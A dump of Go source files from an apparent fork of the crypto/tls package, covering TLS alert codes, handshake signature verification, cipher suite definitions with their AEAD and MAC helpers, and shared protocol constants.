alertIllegalParameter alert = 47
alertUnknownCA alert = 48
alertAccessDenied alert = 49
alertDecodeError alert = 50
alertDecryptError alert = 51
alertProtocolVersion alert = 70
alertInsufficientSecurity alert = 71
alertInternalError alert = 80
alertInappropriateFallback alert = 86
alertUserCanceled alert = 90
alertNoRenegotiation alert = 100
alertMissingExtension alert = 109
alertUnsupportedExtension alert = 110
alertUnrecognizedName alert = 112
alertNoApplicationProtocol alert = 120
)
var alertText = map[alert]string{
alertCloseNotify: "close notify",
alertUnexpectedMessage: "unexpected message",
alertBadRecordMAC: "bad record MAC",
alertDecryptionFailed: "decryption failed",
alertRecordOverflow: "record overflow",
alertDecompressionFailure: "decompression failure",
alertHandshakeFailure: "handshake failure",
alertBadCertificate: "bad certificate",
alertUnsupportedCertificate: "unsupported certificate",
alertCertificateRevoked: "revoked certificate",
alertCertificateExpired: "expired certificate",
alertCertificateUnknown: "unknown certificate",
alertIllegalParameter: "illegal parameter",
alertUnknownCA: "unknown certificate authority",
alertAccessDenied: "access denied",
alertDecodeError: "error decoding message",
alertDecryptError: "error decrypting message",
alertProtocolVersion: "protocol version not supported",
alertInsufficientSecurity: "insufficient security level",
alertInternalError: "internal error",
alertInappropriateFallback: "inappropriate fallback",
alertUserCanceled: "user canceled",
alertNoRenegotiation: "no renegotiation",
alertMissingExtension: "missing extension",
alertUnsupportedExtension: "unsupported extension",
alertUnrecognizedName: "unrecognized name",
alertNoApplicationProtocol: "no application protocol",
}
func (e alert) String() string {
s, ok := alertText[e]
if ok {
return "tls: " + s
}
return "tls: alert(" + strconv.Itoa(int(e)) + ")"
}
func (e alert) Error() string {
return e.String()
}
================================================
FILE: tls/auth.go
================================================
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import (
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rsa"
"encoding/asn1"
"errors"
"fmt"
)
// verifyHandshakeSignature verifies a signature against pre-hashed
// (if required) handshake contents.
func verifyHandshakeSignature(sigType uint8, pubkey crypto.PublicKey, hashFunc crypto.Hash, signed, sig []byte) error {
switch sigType {
case signatureECDSA:
pubKey, ok := pubkey.(*ecdsa.PublicKey)
if !ok {
return fmt.Errorf("expected an ECDSA public key, got %T", pubkey)
}
ecdsaSig := new(ecdsaSignature)
if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil {
return err
}
if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
return errors.New("ECDSA signature contained zero or negative values")
}
if !ecdsa.Verify(pubKey, signed, ecdsaSig.R, ecdsaSig.S) {
return errors.New("ECDSA verification failure")
}
case signatureEd25519:
pubKey, ok := pubkey.(ed25519.PublicKey)
if !ok {
return fmt.Errorf("expected an Ed25519 public key, got %T", pubkey)
}
if !ed25519.Verify(pubKey, signed, sig) {
return errors.New("Ed25519 verification failure")
}
case signaturePKCS1v15:
pubKey, ok := pubkey.(*rsa.PublicKey)
if !ok {
return fmt.Errorf("expected an RSA public key, got %T", pubkey)
}
if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, signed, sig); err != nil {
return err
}
case signatureRSAPSS:
pubKey, ok := pubkey.(*rsa.PublicKey)
if !ok {
return fmt.Errorf("expected an RSA public key, got %T", pubkey)
}
signOpts := &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash}
if err := rsa.VerifyPSS(pubKey, hashFunc, signed, sig, signOpts); err != nil {
return err
}
default:
return errors.New("internal error: unknown signature type")
}
return nil
}
// typeAndHashFromSignatureScheme returns the corresponding signature type and
// crypto.Hash for a given TLS SignatureScheme.
func typeAndHashFromSignatureScheme(signatureAlgorithm SignatureScheme) (sigType uint8, hash crypto.Hash, err error) {
switch signatureAlgorithm {
case PKCS1WithSHA1, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512:
sigType = signaturePKCS1v15
case PSSWithSHA256, PSSWithSHA384, PSSWithSHA512:
sigType = signatureRSAPSS
case ECDSAWithSHA1, ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512:
sigType = signatureECDSA
case Ed25519:
sigType = signatureEd25519
default:
return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm)
}
switch signatureAlgorithm {
case PKCS1WithSHA1, ECDSAWithSHA1:
hash = crypto.SHA1
case PKCS1WithSHA256, PSSWithSHA256, ECDSAWithP256AndSHA256:
hash = crypto.SHA256
case PKCS1WithSHA384, PSSWithSHA384, ECDSAWithP384AndSHA384:
hash = crypto.SHA384
case PKCS1WithSHA512, PSSWithSHA512, ECDSAWithP521AndSHA512:
hash = crypto.SHA512
case Ed25519:
hash = directSigning
default:
return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm)
}
return sigType, hash, nil
}
// legacyTypeAndHashFromPublicKey returns the fixed signature type and crypto.Hash for
// a given public key used with TLS 1.0 and 1.1, before the introduction of
// signature algorithm negotiation.
func legacyTypeAndHashFromPublicKey(pub crypto.PublicKey) (sigType uint8, hash crypto.Hash, err error) {
switch pub.(type) {
case *rsa.PublicKey:
return signaturePKCS1v15, crypto.MD5SHA1, nil
case *ecdsa.PublicKey:
return signatureECDSA, crypto.SHA1, nil
case ed25519.PublicKey:
// RFC 8422 specifies support for Ed25519 in TLS 1.0 and 1.1,
// but it requires holding on to a handshake transcript to do a
// full signature, and not even OpenSSL bothers with the
// complexity, so we can't even test it properly.
return 0, 0, fmt.Errorf("tls: Ed25519 public keys are not supported before TLS 1.2")
default:
return 0, 0, fmt.Errorf("tls: unsupported public key: %T", pub)
}
}
var rsaSignatureSchemes = []struct {
scheme SignatureScheme
minModulusBytes int
maxVersion uint16
}{
// RSA-PSS is used with PSSSaltLengthEqualsHash, and requires
// emLen >= hLen + sLen + 2
{PSSWithSHA256, crypto.SHA256.Size()*2 + 2, VersionTLS12},
{PSSWithSHA384, crypto.SHA384.Size()*2 + 2, VersionTLS12},
{PSSWithSHA512, crypto.SHA512.Size()*2 + 2, VersionTLS12},
// PKCS#1 v1.5 uses prefixes from hashPrefixes in crypto/rsa, and requires
// emLen >= len(prefix) + hLen + 11
// TLS 1.3 dropped support for PKCS#1 v1.5 in favor of RSA-PSS.
{PKCS1WithSHA256, 19 + crypto.SHA256.Size() + 11, VersionTLS12},
{PKCS1WithSHA384, 19 + crypto.SHA384.Size() + 11, VersionTLS12},
{PKCS1WithSHA512, 19 + crypto.SHA512.Size() + 11, VersionTLS12},
{PKCS1WithSHA1, 15 + crypto.SHA1.Size() + 11, VersionTLS12},
}
// signatureSchemesForCertificate returns the list of supported SignatureSchemes
// for a given certificate, based on the public key and the protocol version,
// and optionally filtered by its explicit SupportedSignatureAlgorithms.
//
// This function must be kept in sync with supportedSignatureAlgorithms.
func signatureSchemesForCertificate(version uint16, cert *Certificate) []SignatureScheme {
priv, ok := cert.PrivateKey.(crypto.Signer)
if !ok {
return nil
}
var sigAlgs []SignatureScheme
switch pub := priv.Public().(type) {
case *ecdsa.PublicKey:
// In TLS 1.2 and earlier, ECDSA algorithms are not
// constrained to a single curve.
sigAlgs = []SignatureScheme{
ECDSAWithP256AndSHA256,
ECDSAWithP384AndSHA384,
ECDSAWithP521AndSHA512,
ECDSAWithSHA1,
}
break
case *rsa.PublicKey:
size := pub.Size()
sigAlgs = make([]SignatureScheme, 0, len(rsaSignatureSchemes))
for _, candidate := range rsaSignatureSchemes {
if size >= candidate.minModulusBytes && version <= candidate.maxVersion {
sigAlgs = append(sigAlgs, candidate.scheme)
}
}
case ed25519.PublicKey:
sigAlgs = []SignatureScheme{Ed25519}
default:
return nil
}
if cert.SupportedSignatureAlgorithms != nil {
var filteredSigAlgs []SignatureScheme
for _, sigAlg := range sigAlgs {
if isSupportedSignatureAlgorithm(sigAlg, cert.SupportedSignatureAlgorithms) {
filteredSigAlgs = append(filteredSigAlgs, sigAlg)
}
}
return filteredSigAlgs
}
return sigAlgs
}
// selectSignatureScheme picks a SignatureScheme from the peer's preference list
// that works with the selected certificate. It's only called for protocol
// versions that support signature algorithms, so TLS 1.2 and 1.3.
func selectSignatureScheme(vers uint16, c *Certificate, peerAlgs []SignatureScheme) (SignatureScheme, error) {
supportedAlgs := signatureSchemesForCertificate(vers, c)
if len(supportedAlgs) == 0 {
return 0, unsupportedCertificateError(c)
}
if len(peerAlgs) == 0 && vers == VersionTLS12 {
// For TLS 1.2, if the client didn't send signature_algorithms then we
// can assume that it supports SHA1. See RFC 5246, Section 7.4.1.4.1.
peerAlgs = []SignatureScheme{PKCS1WithSHA1, ECDSAWithSHA1}
}
// Pick signature scheme in the peer's preference order, as our
// preference order is not configurable.
for _, preferredAlg := range peerAlgs {
if isSupportedSignatureAlgorithm(preferredAlg, supportedAlgs) {
return preferredAlg, nil
}
}
return 0, errors.New("tls: peer doesn't support any of the certificate's signature algorithms")
}
// unsupportedCertificateError returns a helpful error for certificates with
// an unsupported private key.
func unsupportedCertificateError(cert *Certificate) error {
switch cert.PrivateKey.(type) {
case rsa.PrivateKey, ecdsa.PrivateKey:
return fmt.Errorf("tls: unsupported certificate: private key is %T, expected *%T",
cert.PrivateKey, cert.PrivateKey)
case *ed25519.PrivateKey:
return fmt.Errorf("tls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKey")
}
signer, ok := cert.PrivateKey.(crypto.Signer)
if !ok {
return fmt.Errorf("tls: certificate private key (%T) does not implement crypto.Signer",
cert.PrivateKey)
}
switch pub := signer.Public().(type) {
case *ecdsa.PublicKey:
switch pub.Curve {
case elliptic.P256():
case elliptic.P384():
case elliptic.P521():
default:
return fmt.Errorf("tls: unsupported certificate curve (%s)", pub.Curve.Params().Name)
}
case *rsa.PublicKey:
return fmt.Errorf("tls: certificate RSA key size too small for supported signature algorithms")
case ed25519.PublicKey:
default:
return fmt.Errorf("tls: unsupported certificate key (%T)", pub)
}
if cert.SupportedSignatureAlgorithms != nil {
return fmt.Errorf("tls: peer doesn't support the certificate custom signature algorithms")
}
return fmt.Errorf("tls: internal error: unsupported key (%T)", cert.PrivateKey)
}
================================================
FILE: tls/cipher_suites.go
================================================
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import (
"crypto/aes"
"crypto/cipher"
"crypto/des"
"crypto/hmac"
"crypto/rc4"
"crypto/sha1"
"crypto/sha256"
"crypto/x509"
"hash"
"golang.org/x/crypto/chacha20poly1305"
)
// CipherSuite is a TLS cipher suite. Note that most functions in this package
// accept and expose cipher suite IDs instead of this type.
type CipherSuite struct {
ID uint16
Name string
// Supported versions is the list of TLS protocol versions that can
// negotiate this cipher suite.
SupportedVersions []uint16
// Insecure is true if the cipher suite has known security issues
// due to its primitives, design, or implementation.
Insecure bool
}
// a keyAgreement implements the client and server side of a TLS key agreement
// protocol by generating and processing key exchange messages.
type keyAgreement interface {
// On the server side, the first two methods are called in order.
// In the case that the key agreement protocol doesn't use a
// ServerKeyExchange message, generateServerKeyExchange can return nil,
// nil.
generateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error)
processClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error)
// On the client side, the next two methods are called in order.
// This method may not be called if the server doesn't send a
// ServerKeyExchange message.
processServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error
generateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error)
}
const (
// suiteECDHE indicates that the cipher suite involves elliptic curve
// Diffie-Hellman. This means that it should only be selected when the
// client indicates that it supports ECC with a curve and point format
// that we're happy with.
suiteECDHE = 1 << iota
// suiteECSign indicates that the cipher suite involves an ECDSA or
// EdDSA signature and therefore may only be selected when the server's
// certificate is ECDSA or EdDSA. If this is not set then the cipher suite
// is RSA based.
suiteECSign
// suiteTLS12 indicates that the cipher suite should only be advertised
// and accepted when using TLS 1.2.
suiteTLS12
// suiteSHA384 indicates that the cipher suite uses SHA384 as the
// handshake hash.
suiteSHA384
// suiteDefaultOff indicates that this cipher suite is not included by
// default.
suiteDefaultOff
)
// A cipherSuite is a specific combination of key agreement, cipher and MAC function.
type cipherSuite struct {
id uint16
// the lengths, in bytes, of the key material needed for each component.
keyLen int
macLen int
ivLen int
ka func(version uint16) keyAgreement
// flags is a bitmask of the suite* values, above.
flags int
cipher func(key, iv []byte, isRead bool) interface{}
mac func(version uint16, macKey []byte) macFunction
aead func(key, fixedNonce []byte) aead
}
var cipherSuites = []*cipherSuite{
// Ciphersuite order is chosen so that ECDHE comes before plain RSA and
// AEADs are the top preference.
{TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadChaCha20Poly1305},
{TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadChaCha20Poly1305},
{TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM},
{TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadAESGCM},
{TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},
{TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},
{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},
{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},
{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil},
{TLS_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, rsaKA, suiteTLS12, nil, nil, aeadAESGCM},
{TLS_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, rsaKA, suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},
{TLS_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, rsaKA, suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},
{TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
{TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil},
{TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil},
// RC4-based cipher suites are disabled by default.
{TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, suiteDefaultOff, cipherRC4, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE | suiteDefaultOff, cipherRC4, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteDefaultOff, cipherRC4, macSHA1, nil},
}
func cipherRC4(key, iv []byte, isRead bool) interface{} {
cipher, _ := rc4.NewCipher(key)
return cipher
}
func cipher3DES(key, iv []byte, isRead bool) interface{} {
block, _ := des.NewTripleDESCipher(key)
if isRead {
return cipher.NewCBCDecrypter(block, iv)
}
return cipher.NewCBCEncrypter(block, iv)
}
func cipherAES(key, iv []byte, isRead bool) interface{} {
block, _ := aes.NewCipher(key)
if isRead {
return cipher.NewCBCDecrypter(block, iv)
}
return cipher.NewCBCEncrypter(block, iv)
}
// macSHA1 returns a macFunction for the given protocol version.
func macSHA1(version uint16, key []byte) macFunction {
return tls10MAC{h: hmac.New(newConstantTimeHash(sha1.New), key)}
}
// macSHA256 returns a SHA-256 based MAC. These are only supported in TLS 1.2
// so the given version is ignored.
func macSHA256(version uint16, key []byte) macFunction {
return tls10MAC{h: hmac.New(sha256.New, key)}
}
type macFunction interface {
// Size returns the length of the MAC.
Size() int
// MAC appends the MAC of (seq, header, data) to out. The extra data is fed
// into the MAC after obtaining the result to normalize timing. The result
// is only valid until the next invocation of MAC as the buffer is reused.
MAC(seq, header, data, extra []byte) []byte
}
type aead interface {
cipher.AEAD
// explicitNonceLen returns the number of bytes of explicit nonce
// included in each record. This is eight for older AEADs and
// zero for modern ones.
explicitNonceLen() int
}
const (
aeadNonceLength = 12
noncePrefixLength = 4
)
// prefixNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to
// each call.
type prefixNonceAEAD struct {
// nonce contains the fixed part of the nonce in the first four bytes.
nonce [aeadNonceLength]byte
aead cipher.AEAD
}
func (f *prefixNonceAEAD) NonceSize() int { return aeadNonceLength - noncePrefixLength }
func (f *prefixNonceAEAD) Overhead() int { return f.aead.Overhead() }
func (f *prefixNonceAEAD) explicitNonceLen() int { return f.NonceSize() }
func (f *prefixNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {
copy(f.nonce[4:], nonce)
return f.aead.Seal(out, f.nonce[:], plaintext, additionalData)
}
func (f *prefixNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) {
copy(f.nonce[4:], nonce)
return f.aead.Open(out, f.nonce[:], ciphertext, additionalData)
}
// xoredNonceAEAD wraps an AEAD by XORing in a fixed pattern to the nonce
// before each call.
type xorNonceAEAD struct {
nonceMask [aeadNonceLength]byte
aead cipher.AEAD
}
func (f *xorNonceAEAD) NonceSize() int { return 8 } // 64-bit sequence number
func (f *xorNonceAEAD) Overhead() int { return f.aead.Overhead() }
func (f *xorNonceAEAD) explicitNonceLen() int { return 0 }
func (f *xorNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {
for i, b := range nonce {
f.nonceMask[4+i] ^= b
}
result := f.aead.Seal(out, f.nonceMask[:], plaintext, additionalData)
for i, b := range nonce {
f.nonceMask[4+i] ^= b
}
return result
}
func (f *xorNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) {
for i, b := range nonce {
f.nonceMask[4+i] ^= b
}
result, err := f.aead.Open(out, f.nonceMask[:], ciphertext, additionalData)
for i, b := range nonce {
f.nonceMask[4+i] ^= b
}
return result, err
}
func aeadAESGCM(key, noncePrefix []byte) aead {
if len(noncePrefix) != noncePrefixLength {
panic("tls: internal error: wrong nonce length")
}
aes, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
aead, err := cipher.NewGCM(aes)
if err != nil {
panic(err)
}
ret := &prefixNonceAEAD{aead: aead}
copy(ret.nonce[:], noncePrefix)
return ret
}
func aeadChaCha20Poly1305(key, nonceMask []byte) aead {
if len(nonceMask) != aeadNonceLength {
panic("tls: internal error: wrong nonce length")
}
aead, err := chacha20poly1305.New(key)
if err != nil {
panic(err)
}
ret := &xorNonceAEAD{aead: aead}
copy(ret.nonceMask[:], nonceMask)
return ret
}
type constantTimeHash interface {
hash.Hash
ConstantTimeSum(b []byte) []byte
}
// cthWrapper wraps any hash.Hash that implements ConstantTimeSum, and replaces
// with that all calls to Sum. It's used to obtain a ConstantTimeSum-based HMAC.
type cthWrapper struct {
h constantTimeHash
}
func (c *cthWrapper) Size() int { return c.h.Size() }
func (c *cthWrapper) BlockSize() int { return c.h.BlockSize() }
func (c *cthWrapper) Reset() { c.h.Reset() }
func (c *cthWrapper) Write(p []byte) (int, error) { return c.h.Write(p) }
func (c *cthWrapper) Sum(b []byte) []byte { return c.h.ConstantTimeSum(b) }
func newConstantTimeHash(h func() hash.Hash) func() hash.Hash {
return func() hash.Hash {
return &cthWrapper{h().(constantTimeHash)}
}
}
// tls10MAC implements the TLS 1.0 MAC function. RFC 2246, Section 6.2.3.
type tls10MAC struct {
h hash.Hash
buf []byte
}
func (s tls10MAC) Size() int {
return s.h.Size()
}
// MAC is guaranteed to take constant time, as long as
// len(seq)+len(header)+len(data)+len(extra) is constant. extra is not fed into
// the MAC, but is only provided to make the timing profile constant.
func (s tls10MAC) MAC(seq, header, data, extra []byte) []byte {
s.h.Reset()
s.h.Write(seq)
s.h.Write(header)
s.h.Write(data)
res := s.h.Sum(s.buf[:0])
if extra != nil {
s.h.Write(extra)
}
return res
}
func rsaKA(version uint16) keyAgreement {
return rsaKeyAgreement{}
}
func ecdheECDSAKA(version uint16) keyAgreement {
return &ecdheKeyAgreement{
isRSA: false,
version: version,
}
}
func ecdheRSAKA(version uint16) keyAgreement {
return &ecdheKeyAgreement{
isRSA: true,
version: version,
}
}
// mutualCipherSuite returns a cipherSuite given a list of supported
// ciphersuites and the id requested by the peer.
func mutualCipherSuite(have []uint16, want uint16) *cipherSuite {
for _, id := range have {
if id == want {
return cipherSuiteByID(id)
}
}
return nil
}
func cipherSuiteByID(id uint16) *cipherSuite {
for _, cipherSuite := range cipherSuites {
if cipherSuite.id == id {
return cipherSuite
}
}
return nil
}
// A list of cipher suite IDs that are, or have been, implemented by this
// package.
//
// See https://www.iana.org/assignments/tls-parameters/tls-parameters.xml
const (
// TLS 1.0 - 1.2 cipher suites.
TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005
TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a
TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f
TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035
TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003c
TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009c
TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009d
TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a
TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc023
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc027
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc030
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc02c
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca8
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9
// Legacy names for the corresponding cipher suites with the correct _SHA256
// suffix, retained for backward compatibility.
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
)
================================================
FILE: tls/common.go
================================================
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import (
"bytes"
"crypto"
"crypto/rand"
"crypto/sha512"
"crypto/x509"
"errors"
"fmt"
"io"
"math/big"
"net"
"sync"
"time"
)
const (
VersionTLS10 = 0x0301
VersionTLS11 = 0x0302
VersionTLS12 = 0x0303
)
const (
maxPlaintext = 16384 // maximum plaintext payload length
recordHeaderLen = 5 // record header length
maxHandshake = 65536 // maximum handshake we support (protocol max is 16 MB)
maxUselessRecords = 16 // maximum number of consecutive non-advancing records
)
// TLS record types.
type recordType uint8
const (
recordTypeChangeCipherSpec recordType = 20
recordTypeAlert recordType = 21
recordTypeHandshake recordType = 22
recordTypeApplicationData recordType = 23
)
// TLS handshake message types.
const (
typeHelloRequest uint8 = 0
typeClientHello uint8 = 1
typeServerHello uint8 = 2
typeNewSessionTicket uint8 = 4
typeEndOfEarlyData uint8 = 5
typeEncryptedExtensions uint8 = 8
typeCertificate uint8 = 11
typeServerKeyExchange uint8 = 12
typeCertificateRequest uint8 = 13
typeServerHelloDone uint8 = 14
typeCertificateVerify uint8 = 15
typeClientKeyExchange uint8 = 16
typeFinished uint8 = 20
typeCertificateStatus uint8 = 22
typeKeyUpdate uint8 = 24
)
// TLS compression types.
const (
compressionNone uint8 = 0
)
// TLS extension numbers
const (
extensionServerName uint16 = 0
extensionStatusRequest uint16 = 5
extensionSupportedCurves uint16 = 10 // supported_groups in TLS 1.3, see RFC 8446, Section 4.2.7
extensionSupportedPoints uint16 = 11
extensionSignatureAlgorithms uint16 = 13
extensionALPN uint16 = 16
extensionSCT uint16 = 18
extensionSessionTicket uint16 = 35
extensionPreSharedKey uint16 = 41
extensionEarlyData uint16 = 42
extensionSupportedVersions uint16 = 43
extensionCookie uint16 = 44
extensionPSKModes uint16 = 45
extensionCertificateAuthorities uint16 = 47
extensionSignatureAlgorithmsCert uint16 = 50
extensionKeyShare uint16 = 51
extensionRenegotiationInfo uint16 = 0xff01
)
// TLS signaling cipher suite values
const (
scsvRenegotiation uint16 = 0x00ff
)
// CurveID is the type of a TLS identifier for an elliptic curve. See
// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8.
//
// In TLS 1.3, this type is called NamedGroup, but at this time this library
// only supports Elliptic Curve based groups. See RFC 8446, Section 4.2.7.
type CurveID uint16
const (
CurveP256 CurveID = 23
CurveP384 CurveID = 24
CurveP521 CurveID = 25
X25519 CurveID = 29
)
// TLS 1.3 Key Share. See RFC 8446, Section 4.2.8.
type keyShare struct {
group CurveID
data []byte
}
// TLS Elliptic Curve Point Formats
// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9
const (
pointFormatUncompressed uint8 = 0
)
// TLS CertificateStatusType (RFC 3546)
const (
statusTypeOCSP uint8 = 1
)
// Certificate types (for certificateRequestMsg)
const (
certTypeRSASign = 1
certTypeECDSASign = 64 // ECDSA or EdDSA keys, see RFC 8422, Section 3.
)
// Signature algorithms (for internal signaling use). Starting at 225 to avoid overlap with
// TLS 1.2 codepoints (RFC 5246, Appendix A.4.1), with which these have nothing to do.
const (
signaturePKCS1v15 uint8 = iota + 225
signatureRSAPSS
signatureECDSA
signatureEd25519
)
// directSigning is a standard Hash value that signals that no pre-hashing
// should be performed, and that the input should be signed directly. It is the
// hash function associated with the Ed25519 signature scheme.
var directSigning crypto.Hash = 0
// supportedSignatureAlgorithms contains the signature and hash algorithms that
// the code advertises as supported in a TLS 1.2+ ClientHello and in a TLS 1.2+
// CertificateRequest. The two fields are merged to match with TLS 1.3.
// Note that in TLS 1.2, the ECDSA algorithms are not constrained to P-256, etc.
var supportedSignatureAlgorithms = []SignatureScheme{
PSSWithSHA256,
ECDSAWithP256AndSHA256,
Ed25519,
PSSWithSHA384,
PSSWithSHA512,
PKCS1WithSHA256,
PKCS1WithSHA384,
PKCS1WithSHA512,
ECDSAWithP384AndSHA384,
ECDSAWithP521AndSHA512,
PKCS1WithSHA1,
ECDSAWithSHA1,
}
// ConnectionState records basic TLS details about the connection.
type ConnectionState struct {
Version uint16 // TLS version used by the connection (e.g. VersionTLS12)
HandshakeComplete bool // TLS handshake is complete
DidResume bool // connection resumes a previous TLS connection
CipherSuite uint16 // cipher suite in use (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, ...)
NegotiatedProtocol string // negotiated next protocol (not guaranteed to be from Config.NextProtos)
NegotiatedProtocolIsMutual bool // negotiated protocol was advertised by server (client side only)
ServerName string // server name requested by client, if any (server side only)
PeerCertificates []*x509.Certificate // certificate chain presented by remote peer
VerifiedChains [][]*x509.Certificate // verified chains built from PeerCertificates
SignedCertificateTimestamps [][]byte // SCTs from the peer, if any
OCSPResponse []byte // stapled OCSP response from peer, if any
// ekm is a closure exposed via ExportKeyingMaterial.
ekm func(label string, context []byte, length int) ([]byte, error)
// TLSUnique contains the "tls-unique" channel binding value (see RFC
// 5929, section 3). For resumed sessions this value will be nil
// because resumption does not include enough context (see
// https://mitls.org/pages/attacks/3SHAKE#channelbindings). This will
// change in future versions of Go once the TLS master-secret fix has
// been standardized and implemented. It is not defined in TLS 1.3.
TLSUnique []byte
}
